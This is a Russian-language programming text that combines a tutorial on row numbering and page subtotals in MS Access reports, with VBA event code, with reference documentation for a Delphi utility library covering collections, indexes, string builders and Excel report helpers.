    При форматировании каждой новой страницы его "видимость" отключается (Me![EndStr1]. Visible = False). Включается же при форматировании Области данных - при наступлении определенного условия, которое состоит из двух частей. Первая контролирует область листа, на котором Примечание уже не может разместиться полностью. В данном отчете опытным путем определено, что такой момент возникает после печати 39-й строки (If I1 > 39 Then). Целочисленной переменной, в которой учитывается номер печатаемой строки, является I1.
    Access
    При форматировании верхнего колонтитула она обнуляется, а при форматировании каждой новой строки данных ее значение увеличивается на 1. Но этого мало - требуется еще определить, что выводятся последние строки. Это делается через две другие переменные: KolZ, в которую заносится номер текущей записи в печатаемой таблице (KolZ = Me. CurrentRecord) и KolZap, в которой хранится общее количество записей, рассчитываемое при открытии отчета (KolZap = zap. RecordCount). В конечном итоге, если возникает ситуация печати последних двух записей в зоне листа, где уже не может полностью разместиться Примечание, то они печатаются вместе с ним на следующей странице (рис. 4).

    Access
    Access


    Но в этом примере есть и ошибка - итоговое поле для подсчета количества записей в Примечании отчета насчитало 528 записей. А последний Номер по порядку значится как "529". Такая ситуация возможна в случае, если в качестве номера по порядку выводится поле, имеющее тип Счетчик, а в процессе заполнения таблицы были выполнены удаления записей (в примере была удалена одна запись). Поэтому в качестве поля порядкового номера в отчете лучше использовать свободное поле, не связанное с исходной таблицей. В качестве данных для такого поля надо установить значение "=1" и указать вариант Для всего в параметре Сумма с накоплением (рис. 5 - вид в Конструкторе и рис. 6 - при предварительном просмотре).

    Access
    Может возникнуть необходимость нумерации не только в границах всего отчета, но и постранично.


    Это также делается через свободное поле (рис. 7), но его заполнение выполняется в модуле класса. Под него объявляется новая переменная, например: Dim NStrP As Integer. Она должна обнуляться при форматировании верхнего колонтитула и заполняться при форматировании области данных, например:



    Private Sub ВерхнийКолонтитул_Format (Cancel As Integer, FormatCount As Integer) ….. NStrP = 0 End Sub Private Sub ОбластьДанных_Format (Cancel As Integer, FormatCount As Integer) ….. NStrP = NStrP + 1 Me![NSTR1] = NStrP End Sub
    Access
    Access


    Последним вариантом учета строк рассмотрим нумерацию в группе. Access позволяет сортировать и группировать данные прямо при выводе. Эти настройки выполняются в Конструкторе через диалоговое окно Сортировка и группировка (вызывается по команде меню Вид) - рис. 8. Для создания группировки по какому-либо полю этого окна, его (поле) надо выбрать в списке (в примере - поле OBLAST) и указать "Да" в параметре Заголовок группы. Здесь же можно установить сортировку для других полей без группировки по ним (в примере - по полю GOROD). Вывод порядкового номера в группе производится в "свободном" поле, в параметре Данные которого указано "=1", но Сумма с накоплением установлена Для группы. Фрагмент результата показан на рис. 9.

    Следующей проблемой может оказаться размещение в нижнем колонтитуле промежуточных сумм по какому-либо полю. Такая ситуация часто возникает в финансовых документах - например, при распечатке ведомости на зарплату. На первый взгляд, сделать это можно по технологии, рассмотренной ранее: объявляется переменная, обнуляется при форматировании верхнего колонтитула и заполняется при форматировании области данных. Но поскольку результат должен быть занесен в "свободное" поле, размещенное в другом разделе (в Нижнем колонтитуле), сумма окажется неправильной - ведь процесс форматирования некоторых разделов "отчетов" в Access может повторяться!!! Это является особенностью технологии подготовки "отчетов" - нужно помнить об этом при программировании.


    В частности, в рассматриваемом примере заполнение переменной для промежуточной суммы (SumStr) можно выполнять не при форматировании области данных, а при отработке свойства печати области данных (ОбластьДанных_Print), в которой можно проконтролировать ситуацию - будет печататься лист с этими данными или нет. И именно в зависимости от результатов контроля должно быть заполнено поле, расположенное в нижнем колонтитуле. Допустим, оно имеет имя SumS, а переменная, в которой накапливается значение на странице,- SumStr. Тогда текст кода подобной процедуры будет иметь следующий вид:

    Private Sub ОбластьДанных_Print (Cancel As Integer, PrintCount As Integer) 'PrintCount = 0 - страница не печатается, ' = 1 - будет печататься SumStr = SumStr + NStrP If PrintCount = 1 Then Me![SumS] = SumStr End Sub
    Access
    Подобная же ситуация может возникнуть при попытке использовать Подчиненный отчет, который чаще всего вставляется в Примечание отчета или в Примечание группы. Если в нем требуется указывать какое-то расчетное значение (например, тот же номер на странице), то оно может оказаться неправильным, так как такой отчет будет форматироваться несколько раз (рис. 10).

    Для решения проблемы команду заполнения поля № строки на странице Подчиненного отчета надо переместить из обработки события Форматирования в обработку события Печать раздела Область данных, например:

    Private Sub ОбластьДанных_Print (Cancel As Integer, PrintCount As Integer) NStrP = NStrP + 1 Me![NSTR1] = NStrP SumStr = SumStr + NStrP If PrintCount = 1 Then Me![SumS] = SumStr End Sub

    Средства разработки приложений

    Битовая строка TBitList

    Предоставляет методы и свойства для работы со строкой бит, которую можно представить как упакованный массив элементов типа Boolean. Изначально, при создании экземпляра класса TBitList, все биты строки устанавливаются в 0, т.е. в значение False. Метод Load используется для загрузки битовой строки из бинарного потока типа TBinaryReader, произвольной области памяти или другого экземпляра класса TBitList. Кроме того, данные могут быть загружены из ключа реестра Windows. Для сохранения данных в бинарном потоке типа TBinaryWriter или в реестре Windows предназначен метод Save. К отдельным элементам битовой строки можно обратиться с помощью свойства Items. Общее число элементов возвращается и устанавливается свойством Count. Методы IndexOf, LastIndexOf используются для поиска, соответственно, вперед и назад первого установленного или сброшенного бита, начиная с указанного индекса. Функция CountOf подсчитывает общее количество установленных или сброшенных бит в массиве. Метод SetAll устанавливает все биты в значение 0 или 1. Если два экземпляра класса TBitList содержат одинаковое число элементов, к ним можно применить различные логические операции. Например, метод AndSet выполняет операцию логического умножения элементов двух списков. В результате, установленными окажутся только биты, которые были установлены в обоих списках, а все остальные биты будут установлены в 0. Аналогичные методы предусмотрены для выполнения операций: OR, XOR, NOT, AND NOT. Функция Equals используется для проверки равенства содержимого двух экземпляров класса TBitList. Функция Clone возвращает копию экземпляра TBitList.

    Форматирование даты и времени

    В начале модуля AcedCommon объявлены константные массивы, содержащие названия месяцев и дней недели, записанных по-русски и по-английски. Для форматирования даты используется функция G_FormatDate. Она возвращает дату представленную краткой числовой формой или полной формой, содержащей название месяца и слово "года". Строка-результат может включать также полное или краткое название дня недели или, вообще, состоять только из дня недели без даты. Функция G_SplitDate позволяет выделить из даты день месяца как числовое значение, а сам месяц и год представить в виде строки. Для форматирования времени используется функция G_FormatTime, которая преобразует время в строку по правилам русского языка с возможным указанием числа секунд и миллисекунд.

    Функции для построения отчета

    В модуле AcedExcelReport определены глобальные функции, часто используемые при построении отчетов. Для выполнения других действий можно обращаться к объектам Microsoft Excel через интерфейсы, объявленные в модуле Excel97, сгенерированном из библиотеки типов. В AcedExcelReport есть несколько функций, возвращающих ссылку на диапазон ячеек рабочего листа, т.е. объект типа Excel97.ExcelRange. В частности, функция GetExcelCell возвращает ячейку рабочего листа, находящуюся на пересечении заданной строки и столбца; функция GetExcelRange возвращает прямоугольный диапазон ячеек. Функция GetNamedExcelRange возвращает именованный диапазон ячеек. Функции GetExcelRows и GetExcelColumns возвращают диапазоны, состоящие из всех ячеек определенных строк или столбцов. Чтобы установить значение ячейки или поставить вариантный массив в соответствие ячейкам прямоугольного диапазона, нужно получить ссылку на диапазон функциями GetExcelCell или GetExcelRange, а затем присвоить соответствующее значение свойству Value этого диапазона. То же самое касается, например, изменения шрифта текста с помощью свойства Font диапазона ячеек, задания режима горизонтального/вертикального выравнивания текста с помощью свойств: HorizontalAlignment, VerticalAlignment, задания режима переноса текста свойством WrapText, а также объединения ячеек рабочего листа вызовом метода Merge диапазона ячеек. Функция InsertExcelRows предназначена для вставки на рабочем листе одной или нескольких строк перед указанной строкой. Функция InserExceltColumns вставляет один или несколько столбцов перед указанным столбцом. Процедуры AssignAbsoluteFormula и AssignRelativeFormula используются для назначения ячейкам рабочего листа формул, реализующих групповые операции, такие как суммирование данных, нахождение максимального значения в диапазоне, подсчет числа непустых ячеек и т.д. При записи формулы адрес обрабатываемого диапазона ячеек указывается в виде абсолютной ссылки (процедурой AssignAbsoluteFormula) или в виде относительной ссылки (процедурой AssignRelativeFormula).
    Строку, содержащую абсолютную ссылку на прямоугольный диапазон ячеек, можно получить вызовом функции GetAbsoluteAddress. Аналогичную строку, содержащую относительную ссылку на диапазон ячеек, возвращает функция GetRelativeAddress. Для форматирования границ ячеек вызывается процедура DrawExcelBorders. В нее передается диапазон ячеек в виде объекта Excel97.ExcelRange. Второй параметр (CellBorders) выбирает, какие именно границы ячеек должны отображаться. Здесь передается одна из констант xlcb… или комбинация таких констант. Остальные параметры процедуры DrawExcelBorders задают толщину, стиль и цвет линий. Чтобы, наоборот, удалить прорисовку границ используется процедура ClearExcelBorders. Для применения заливки к диапазону ячеек рабочего листа вызывается процедура FillExcelInterior. Кроме ссылки на диапазон ячеек в нее передается цвет заливки (одна из констант xlColor…), шаблон, накладываемый поверх заливки (одна из констант xlPattern, объявленных в модуле Excel97) и цвет линий шаблона. После того, как содержимое отчета полностью подготовлено, можно воспользоваться процедурами FreezeExcelRows и FreezeExcelColumns, чтобы облегчить просмотр данных. Эти процедуры задают, соответственно, строки и столбцы, которые не должны перемещаться при прокрутке окна рабочей книги. Иногда бывает удобно выделить шапку таблицы, чтобы она всегда была на экране независимо от длины таблицы. Если предполагается, что пользователь не будет изменять готовый отчет, можно вызвать процедуру ProtectExcelWorksheet для защиты рабочего листа от случайных изменений. Если просматривать отчет удобнее в режиме панорамирования, можно воспользоваться процедурой G_ToggleKey из модуля AcedCommon для включения режима Scroll Lock клавиатуры. После выполнения всех подготовительных действий вызывается процедура ShowExcelWorkbook, в которую передается ссылка на рабочую книгу, полученная ранее при вызове функции CreateExcelWorkbook. Процедура ShowExcelWorkbook отображает рабочую книгу на экране и устанавливает ее свойство Saved в значение True, чтобы при закрытии книги не спрашивалось, нужно ли сохранять изменения.

    Функции для замера временных интервалов

    Когда в программе нужно отмерить временные интервалы, можно воспользоваться стандартной функцией GetTickCount из модуля Windows, которая возвращает число миллисекунд, прошедшее с момента загрузки операционной системы. Поскольку это значение выражается числом типа LongWord, со временем оно может переполниться и пойти на следующий "круг". Функция G_TickCountSince из модуля AcedCommon учитывает эту особенность и возвращает число миллисекунд, прошедшее с того момента, как функция GetTickCount вернула значение Tick, передаваемое в качестве параметра в G_TickCountSince. Хотя GetTickCount возвращает число миллисекунд, точность этой функции не превышает 0.1 секунды. Когда нужно отмерить интервал с точностью до одной миллисекунды можно воспользоваться таймером высокого разрешения. Получить текущее значение таймера можно вызовом функции G_QueryPC, которая возвращает значение, полученное вызовом системной функции QueryPerformanceCounter. По разности значений таймера можно определить длительность временного интервала с помощью функции G_GetTimeInterval. Кроме того, с помощью функции G_GetPC_Delta можно, наоборот, вычислить разность значений таймера, соответствующую временному интервалу определенной длительности. К замеру временных интервалов с помощью таймера высокого разрешения имеет смысл прибегать только когда требуется высокая точность. В остальных случаях лучше воспользоваться функциями GetTickCount и G_TickCountSince, т.к. они используют меньше ресурсов системы. В модуле AcedCommon имеется также функция G_RDTSC, считывающая значение 64-разрядного счетчика, который увеличивается на каждом такте процессора. В некоторых случаях эта функция может заменить собой таймер высокого разрешения. Кроме того, она может быть полезна при инициализации генератора случайных чисел.

    Индексы для коллекции

    В коллекции TSerializableCollection элементы упорядочены по возрастанию значения уникального идентификатора элемента. Такой порядок не всегда удобен. Например, конечному пользователю обычно нужен список, отсортированный по именам или по датам и т.п. С этой целью при создании коллекции в конструктор класса TSerializableCollection передается массив, содержащий так называемые индексы – объекты, задающие альтернативный порядок сортировки элементов коллекции. Индексы должны быть созданы заранее, до вызова конструктора коллекции. Все индексы представляются экземплярами классов, производных от TDataIndex. Конкретный класс выбирается в зависимости от типа признака, по которому сортируются данные. Если этот признак – строка (например, наименование объекта), создается индекс типа TStringIndex; если признак – дата, используется класс TDateTimeIndex и т.д. Есть еще специальный класс TCompoundIndex, предназначенный для сортировки элементов коллекции сразу по нескольким признакам. Индексы предназначены не только для задания порядка элементов коллекции. Основной причиной использования индексов является необходимость быстрого поиска элементов по значению индексируемого признака. Индексы позволяют не только быстро находить отдельные элементы, но также выделять группы элементов, для которых значение признака лежит в определенном интервале. Кроме того, индексы могут быть уникальными, т.е. не допускающими дублирования значения признака. При добавлении и изменении элементов коллекция опрашивает все свои уникальные индексы на предмет того, не вызовет ли каждое конкретное изменение нарушения уникальности какого-либо индекса. Если такая ситуация имеет место, предполагаемые изменения отклоняются. Изначально все индексы находятся в неактивном состоянии, т.е. не занимают память и не обновляются при каждом изменении коллекции. При попытке воспользоваться индексом, например, для поиска элемента, индекс автоматически активизируется. Его состоянием можно управлять с помощью свойства Active, объявленного в классе TDataIndex.
    Следует обратить внимание на то, что в часто изменяемых коллекциях лучше постоянно держать все уникальные индексы в активном состоянии. В противном случае, при любом изменении данных выполняется медленный последовательный перебор элементов коллекции индексом для выяснения того, что значение индексируемого признака измененного элемента уникально в пределах набора данных. Каждый активный индекс содержит полный набор элементов коллекции, отсортированный по значению соответствующего признака. Свойство Descending индекса по умолчанию равно False. Это означает, что элементы сортируются по возрастанию значения признака. Если свойство Descending равно True, элементы сортируются по убыванию значения признака. Для класса TStringIndex, если свойство CaseSensitive равно False, при сортировке и поиске элементов с помощью индекса регистр символов не принимается во внимание. Если это свойство равно True, регистр символов учитывается. К элементам сортированного списка можно обратиться через свойство ItemList индекса, которое возвращает массив указателей на элементы коллекции – экземпляры класса TSerializableObject. Число элементов в этом массиве определяется свойством Count основной коллекции, к которой можно обратиться через свойство Owner индекса. Свойство Unique определяет, является ли данный индекс уникальным. Значение этого свойства передается в конструктор класса индекса и в дальнейшем не может быть изменено. Кроме того, при создании индекса в его конструктор обычно передается адрес функции, которая возвращает значение индексируемого признака для элемента коллекции. В случае класса TCompoundIndex вместо этого передается адрес функции, которая сравнивает между собой два элемента коллекции. В каждом индексе есть методы для поиска элементов. Метод ScanPointer выполняет линейный поиск указателя во внутреннем массиве индекса. Этим методом стоит пользоваться только если никакие другие не подходят. Метод Contains возвращает True, если в коллекции присутствует элемент с указанным значением признака.


    Функция IndexOf находит во внутреннем массиве первый элемент с определенным значением признака и возвращает его индекс в качестве результата, а функция SearchObject в аналогичной ситуации возвращает сам элемент. Во всех индексах, кроме TCompoundIndex, есть функции SelectRange для нахождения диапазона во внутреннем массиве, в котором значение признака больше или равно значению Key1 и меньше значения Key2. При сортировке элементов по убыванию эти функции выделяют диапазон, в котором значение признака меньше или равно значению Key1 и больше значения Key2. Имеется также вариант этой функции, которая возвращает индекс первого элемента массива, для которого индексируемый признак больше или равен (меньше или равен в случае, когда Descending равно True) указанному значению. В классе TStringIndex есть еще метод StartsWith для выделения диапазона во внутреннем массиве, где значение признака для всех элементов начинается с указанной подстроки с учетом или без учета регистра символов в зависимости от значения свойства CaseSensitive.

    Класс TSerializableCollection

    Является центральным элементом концепции объектного хранилища данных. Коллекция содержит набор объектов типа, производного от TSerializableObject, который определяется параметром ItemClassType при вызове конструктора класса TSerializableCollection. Таким образом, все элементы коллекции имеют один и тот же тип. Полиморфизм здесь не используется, т.к. возможность присутствия в коллекции объектов различного типа приводит к неоправданному усложнению механизмов работы с данными. Внутренний массив элементов, к которому можно обратиться через свойство ItemList, упорядочен по возрастанию значений первичного ключа, т.е. ID. Количество элементов в коллекции возвращается свойством Count. Для ускорения поиска элементы коллекции могут хешироваться по первичному ключу. Чтобы включить хеширование, надо установить в True значение свойства MaintainHash коллекции. По умолчанию для экономии памяти хеширование отключено. Найти элемент коллекции по значению первичного ключа или просто убедиться в том, что элемент с таким ключом присутствует в коллекции, можно с помощью метода SearchObject. Если нужен не сам объект, а его индекс во внутреннем массиве элементов, следует воспользоваться методом IndexOf. Если в коллекции мало элементов и нужно определить индекс одного из них во внутреннем массиве, можно вызвать метод ScanPointer для линейного поиска указателя. Если элементов много, функция IndexOf быстрее найдет нужный элемент методом бинарного поиска. Коллекция может быть загружена из бинарного потока типа TBinaryReader методом Load и сохранена в бинарном потоке типа TBinaryWriter методом Save. Метод Equals поэлементно сравнивает данную коллекцию с другой коллекцией и возвращает True, если все соответствующие элементы обеих коллекций равны. Функция Clone возвращает копию коллекции, содержащую копии всех элементов и каждого из индексов. Если предполагается добавить в коллекцию большое число элементов, можно вызвать метод EnsureCapacity для резервирования места во внутренних массивах коллекции.
    Для полной очистки коллекции используется метод Clear. При вызове этого метода свойство Changed устанавливается в False, т.к. эта операция не предполагает фактического удаления данных на диске. Например, метод Clear вызывается перед загрузкой с диска обновленных данных коллекции. Чтобы по-настоящему удалить из коллекции все элементы, нужно вызвать метод Delete или DeleteDirect для каждого элемента коллекции. Однако, при монопольном доступе к данным и отсутствии необходимости вызова события OnItemDeleted для каждого удаляемого элемента коллекции, можно очистить ее методом Clear, а затем вручную установить свойство Changed в значение True. Это самый быстрый способ удаления всех данных. Новые элементы коллекции создаются вызовом функции NewItem класса TSerializableCollection. При этом элемент сразу не добавляется в коллекцию. Сначала он должен быть заполнен данными. Затем, для подтверждения изменений вызывается метод EndEdit, который помещает информацию о добавлении новой записи в кэш изменений. Если новая запись не нужна, например, если пользователь нажал кнопку "Отмена" в окне добавления записи, нужно вызвать метод CancelEdit для освобождения памяти, занятой новым элементом. При необходимости корректировки данных нельзя вносить изменения непосредственно в элементы списка ItemList коллекции. Вместо этого, должен быть вызван метод BeginEdit, в который передан идентификатор изменяемого элемента коллекции. Метод BeginEdit возвращает ссылку на копию элемента, в которую можно вносить изменения. Затем эта копия передается в методы EndEdit для подтверждения изменений или CancelEdit для отмены изменений. Удалить элемент коллекции можно вызовом метода Delete с передачей в него идентификатора удаляемого элемента. Все описанные выше манипуляции с объектами не затрагивают основной список элементов ItemList, т.е. фактический набор данных коллекции. Изменения кэшируются во внутренних массивах: InsertedItemList и DeletedItemList с числом элементов, соответственно, InsertedCount и DeletedCount.


    В первом из этих массивов находятся элементы, добавленные в коллекцию, а также исправленные, т.е. новые, версии измененных объектов. Во втором массиве находятся удаленные объекты и исходные, т.е. старые, версии измененных объектов. Эти массивы отсортированы в порядке убывания идентификаторов элементов. Проверить наличие кэшированных изменений вообще или изменений для элемента с конкретным идентификатором можно вызовом функции HasChanges. Чтобы применить кэшированные изменения к основному набору элементов используется метод ApplyChanges. Обычно перед вызовом этого метода проверяется наличие обновленных данных на файловом сервере. Если версия файла данных на сервере изменилась, коллекция перечитывается с диска и изменения применяются к новым данным. Управление версиями файлов будет рассмотрено далее в этом разделе. В классе TSerializableCollection предусмотрены специальные события: OnItemInserted, OnItemChanged, OnItemDeleted, которые инициируются, соответственно, при добавлении, изменении и удалении элемента основного набора данных коллекции. Метод ApplyChanges может вернуть одно из следующих значений: appChangesOk (изменения применены успешно), appChangesOriginalObjectChanged (произошла ошибка, связанная с тем, что изменяемый элемент коллекции был одновременно изменен другим пользователем), appChangesUniqueIndexViolation (ошибка, возникающая при попытке вставить значение, нарушающее уникальность одного из индексов коллекции, который не допускает дублирования значений). Чтобы очистить кэш изменений без фактической модификации данных используется метод RejectChanges. Поясним работу с первичными ключами элементов коллекции. При создании нового элемента методом NewItem свойству ID этого элемента присваивается временное отрицательное значение, которое последовательно уменьшается для каждого следующего создаваемого элемента. При вызове ApplyChanges для добавляемого элемента временное значение ID заменяется настоящим идентификатором, который создается функцией GenerateID коллекции.


    При изменении идентификатора объекта в коллекции инициируется событие OnItemIDChanged, чтобы можно было обновить внешние ключи в элементах других коллекций, ссылающихся на добавленный элемент. В экземпляре класса TSerializableCollection предполагается, что элементы сохраняют значение свойства ID в виде числа типа Integer. Если заранее известно, что число элементов коллекции не превысит 65535, можно хранить уникальные идентификаторы как 2-байтные значения типа Word. Тогда вместо класса TSerializableCollection надо использовать производный от него класс TWordPrimaryKeyCollection, в котором перекрывается метод GenerateID, чтобы значения первичного ключа не превышали 65535. Если в коллекции может быть не более 255 элементов, имеет смысл хранить ID как один байт. Тогда в качестве коллекции нужно использовать класс TBytePrimaryKeyCollection. Возможна также ситуация, когда вообще нет смысла сохранять уникальный идентификатор вместе с данными объекта. Значение ID может динамически назначаться в момент загрузки коллекции из бинарного потока. Для реализации такой возможности предусмотрен класс TFakePrimaryKeyCollection. При отказе от хранения идентификатора возникает проблема удаления элементов в режиме многопользовательского доступа, т.к. после удаления элемента и повторной загрузки коллекции динамические идентификаторы следующих за ним элементов изменятся. Таким образом, при работе с TFakePrimaryKeyCollection в режиме многопользовательского доступа удаление отдельных элементов коллекции должно быть запрещено. В классе TSerializableCollection есть еще пара методов для работы с данными в обход кэша изменений. Метод EndEditDirect подтверждает изменение или добавление нового элемента аналогично методу EndEdit, а затем сразу применяет это изменение к основному набору данных, что эквивалентно вызову метода ApplyChanges с идентификатором только что измененного или добавленного объекта. Метод DeleteDirect удаляет элемент с указанным идентификатором из основного набора данных. Методы EndEditDirect и DeleteDirect подходят для работы с данными в режиме монопольного доступа, когда другие пользователи не имеют возможности изменить файл данных одновременно с текущими изменениями. Каждая коллекция, не являющаяся частью какого-либо объекта, хранится на диске в виде отдельного файла.


    Для загрузки коллекции из файла предназначен метод LoadFile класса TSerializableCollection, для ее сохранения в файле – метод SaveFileDirect. Второй метод не предназначен для работы с данными в режиме многопользовательского доступа, т.к. он перезаписывает любые изменения, сделанные другими пользователями. При одновременной работе нескольких пользователей для сохранения изменений необходимо открыть файл данных методом OpenFile, затем применить кэшированные изменения к данным методом ApplyChanges. Если изменения применены успешно, можно сохранить коллекцию на диске вызовом метода SaveIfChanged. Если во время применения изменений к данным произошла ошибка, необходимо восстановить исходное состояние набора данных в памяти. Для этого используется метод UndoIfChanged коллекции при открытом файле данных. В конце операции файл данных должен быть закрыт методом CloseFile. Данные коллекции могут сохраняться на диске в упакованном виде. Для этого в методы OpenFile и SaveFileDirect передается параметр CompressionMode, который, если он отличен от dcmNoCompression, задает режим сжатия записываемого файла данных (одна из констант, перечисленных в описании модуля AcedCompression). Не следует, однако, применять сжатие к файлам, которые содержат часто изменяемые данные, так как это может значительно понизить общую производительность системы, особенно в режиме многопользовательского доступа к данным. В упакованном виде лучше хранить справочники, коды и прочие данные, которые меняются редко. В методы LoadFile, OpenFile и SaveFileDirect передается также параметр EncryptionKey. Он позволяет указать ключ для шифрования файла данных методом RC6. При использовании шифрования, данные, кроме всего прочего, защищаются цифровой сигнатурой SHA-256. Так же как и сжатие, шифрование не стоит использовать для часто изменяемых данных без крайней на то необходимости. Несколько пользователей могут одновременно читать данные из одного файла методом LoadFile. Однако, если кто-либо открыл файл методом OpenFile, другие пользователи не могут открыть этот файл для чтения или для записи, пока он не будет закрыт методом CloseFile.


    При отказе в открытии файла на экране появляется сообщение для пользователя с предложением подождать или повторить попытку открытия файла. Кроме того, пользователь может отменить текущую операцию, в результате чего методы LoadFile, OpenFile и SaveFileDirect вернут значение False. При успешном открытии файла эти методы возвращают True. В первых четырех байтах файла данных хранится его версия – число, которое изменяется при каждом сохранении данных на диске. Если основной набор данных коллекции не менялся с момента ее загрузки в память или с момента предыдущего сохранения на диске (свойство Changed коллекции равно False), и при вызове метода LoadFile оказывается, что версия файла данных не изменилась за это время, то фактического считывания данных не происходит, так как в этом нет необходимости. То же самое происходит при открытии файла методом OpenFile. Это позволяет уменьшить нагрузку на файловый сервер, сократить объем информации, передаваемой по сети, и в целом повысить производительность приложения.

    Класс TSerializableObject

    Абстрактный базовый класс TSerializableObject используется для создания на его основе класса, описывающего записи таблицы данных. Конструктор этого класса является виртуальным. Он может перекрываться в классах-потомках. Каждый экземпляр TSerializableObject содержит идентификатор типа Integer (свойство ID), значение которого уникально в пределах данной коллекции. При загрузке данных объекта из бинарного потока вызывается метод Load, принимающий два параметра: ссылку на экземпляр класса TBinaryReader, из которого нужно прочитать данные, и число, соответствующее сохраненной версии данных. Понятие версии данных введено для того, чтобы была возможность изменять хранимый формат данных в процессе доработки приложения без необходимости создания специального конвертера данных под новый формат. Каждый объект должен уметь загружать в методе Load любую из своих версий до самой последней, включительно. Число, соответствующее последней, т.е. сохраняемой, версии объекта передается в качестве параметра в конструктор коллекции TSerializableCollection. В методе Load при попытке загрузить данные для версии, которая не поддерживается объектом, следует вызвать процедуру RaiseVersionNotSupported из модуля AcedConsts, в которую передаются параметры: Self и числовое значение версии, которая не может быть загружена. Для сохранения данных объекта в бинарном потоке вызывается метод Save класса TSerializableObject, в который передается ссылка на экземпляр класса TBinaryWriter. В методе Save объект должен записать свои данные в бинарный поток. В каждом классе, унаследованном от TSerializableObject, кроме методов Load и Save должны перекрываться методы Equals для проверки равенства двух экземпляров класса и Clone для создания точной копии данного экземпляра класса. Объекты типа TSerializableObject обычно не создаются сами по себе конcтруктором Create и свойство ID в них не назначается произвольным образом. Все это делается методами коллекции TSerializableCollection, которая полностью управляет временем жизни объектов, загрузкой и сохранением их в бинарном потоке, назначением уникальных идентификаторов, согласованием изменений и прочими аспектами работы с объектами данных.

    Класс TStringBuilder

    Этот класс предназначен для динамического создания строки из отдельных фрагментов и изменения строки произвольной длины. В принципе, можно изменять и дополнять обычную строку типа AnsiString. Однако при каждом изменении длины такой строки происходит выделение памяти под новую строку и копирование в нее данных. Перераспределение памяти – это довольно-таки медленная операция, независимо от используемого менеджера памяти. В экземпляре TStringBuilder строка, по возможности, изменяется на месте, без лишней перетасовки памяти. Например, если необходимо сформировать строку из элементов некоторого списка, то вместо того, чтобы по очереди добавлять строки к переменной типа String, лучше создать экземпляр класса TStringBuilder, добавить каждую строку из списка методом Append, а затем преобразовать результат к типу String вызовом метода ToString класса TStringBuilder. В классе TStringBuilder реализованы основные методы для внесения изменений и дополнения строки. В частности, метод Append добавляет к данной строке другую строку, фрагмент строки, один или несколько повторяющихся символов, десятичное или шестнадцатеричное представление числа; метод Insert вставляет подстроку в указанную позицию; метод Delete удаляет фрагмент строки; метод Reverse обращает порядок символов во всей строке или в отдельном фрагменте; метод Clear очищает строку. Еще есть методы для создания копии экземпляра класса TStringBuilder (метод Clone), преобразования строки или ее фрагмента к типу AnsiString (метод ToString), заполнения фрагмента строки указанным символом (метод Fill), добавления в конец строки символов перевода строки (метод AppendNewLine) и другие. Свойство Chars класса TStringBuilder позволяет работать со строкой как с обычным массивом символов.

    Классы ассоциированных списков

    Экземпляры классов: TIntegerAssociatedList, TIntegerHashTable, TStringAssociatedList, TStringHashTable представляют собой набор ключей типа Integer или String, с каждым из которых связано значение типа TObject. Они предназначены для быстрого поиска значений в списке по ключу. Классы типа AssociatedList хранят ключи в виде сортированного списка. Классы типа HashTable реализуют ассоциативный массив (словарь) с использованием хеширования ключей. Вероятно, сортированный список лучше подходит для небольших наборов данных в пределах одной-двух сотен элементов, когда накладные расходы на хеширование не оправданны. Хеш-таблицы можно применять для больших наборов данных, т.к. при использовании хеш-функции, дающей хорошее распределение, скоростные характеристики хеш-таблицы близки к O(1) (константны). Во всех классах реализованы операции для добавления и удаления элементов, извлечения значения по ключу. Свойство OwnValues управляет принадлежностью значений спискам. Например, если это свойство равно True, то при очистке списка методом Clear, для каждого значения типа TObject будет вызван метод Free. По умолчанию это свойство равно False. При вызове конструктора классов TStringAssociatedList, TStringHashedList можно указать, нужно ли различать регистр символов в значениях ключей типа String. Чтобы заранее распределить память под известное число элементов, добавляемых в ассоциированный список, можно передать соответствующее значение в конструктор класса или воспользоваться методом EnsureCapacity.

    Классы TExcelRange, TExcelInterval

    Эти классы используются для группирования ячеек рабочего листа. Экземпляр класса TExcelInterval представляет собой прямоугольный диапазон ячеек, экземпляр TExcelRange – коллекцию прямоугольных диапазонов. Когда экземпляр класса TExcelRange проецируется на рабочий лист, вся коллекция диапазонов может быть представлена одним объектом типа Excel97.ExcelRange. Таким образом можно применять различные операции, например, заливку фона ячеек или прорисовку границ, ко всему диапазону сразу, даже если он содержит несмежные ячейки. В модуле AcedExcelReport коллекция интервалов TExcelRange используется, кроме того, для получения текстовой ссылки на диапазон ячеек, которая передается в качестве аргумента для функций рабочего листа, типа "СУММ" или "СЧЁТ". При создании интервала, т.е. экземпляра класса TExcelInterval, в его конструктор передается номер столбца, строки и, возможно, число строк и столбцов в интервале. Если число строк и столбцов не указано, создается интервал, состоящий из одной ячейки. Кроме того, можно создать интервал, который представляет все ячейки одной или нескольких строк или все ячейки одного или нескольких столбцов рабочего листа. Чтобы спроецировать интервал на рабочий лист, т.е. получить объект типа Excel97.ExcelRange, нужно вызвать функцию GetRange. Для того, чтобы проверить равенство двух интервалов, используется функция Equals. Метод Clone возвращает экземпляр класса, представляющий копию интервала. В классе TExcelInterval имеются свойства, возвращающие номер первой и последней строк интервала, а также номера первого и последнего столбцов. Экземпляр класса TExcelRange создается в виде пустой коллекции. Но в его конструктор можно передать данные первого интервала, который сразу будет добавлен в коллекцию. Кроме того, коллекция интервалов может быть создана на основе другого экземпляра TExcelRange. В этом случае в нее добавляются копии всех интервалов исходной коллекции. Новые интервалы добавляются в коллекцию методами Add, AddRows, AddColumns.
    Чтобы полностью очистить коллекцию и освободить память, занимаемую каждым интервалом, используется метод Clear. К отдельным интервалам в составе коллекции можно обратиться через свойство Intervals. Число интервалов возвращается свойством IntervalCount. Метод Equals сравнивает коллекцию с другой коллекцией интервалов. Если две коллекции содержат одни и те же (равные) интервалы, метод возвращает True, если есть какие-либо различия, возвращается False. Метод Clone возвращает копию коллекции, содержащую копии каждого интервала. Для удобства использования интервалы могут быть отсортированы методом EnsureSorted коллекции. Сортировка выполняется по строкам, а затем по столбцам левой верхней ячейки интервала. Чтобы получить объект типа Excel97.ExcelRange представляющий коллекцию интервалов TExcelRange, надо вызвать функцию GetRange этого класса. Методы GetAbsoluteAddress и GetRelativeAddress класса TExcelRange возвращают текстовую строку, содержащую ссылку на все ячейки коллекции интервалов. Первый метод отличается от второго тем, что он возвращает абсолютную ссылку, т.е., например, строку "R1C1:R2C5;R6:R8". Второй метод возвращает строку, содержащую ссылку относительно указанной ячейки. Например, для той же коллекции интервалов ссылка относительно ячейки R2C5 представляется строкой: "R[-1]C[-4]:RC;R[4]:R[6]".

    Классы TIntegerList, TWordList

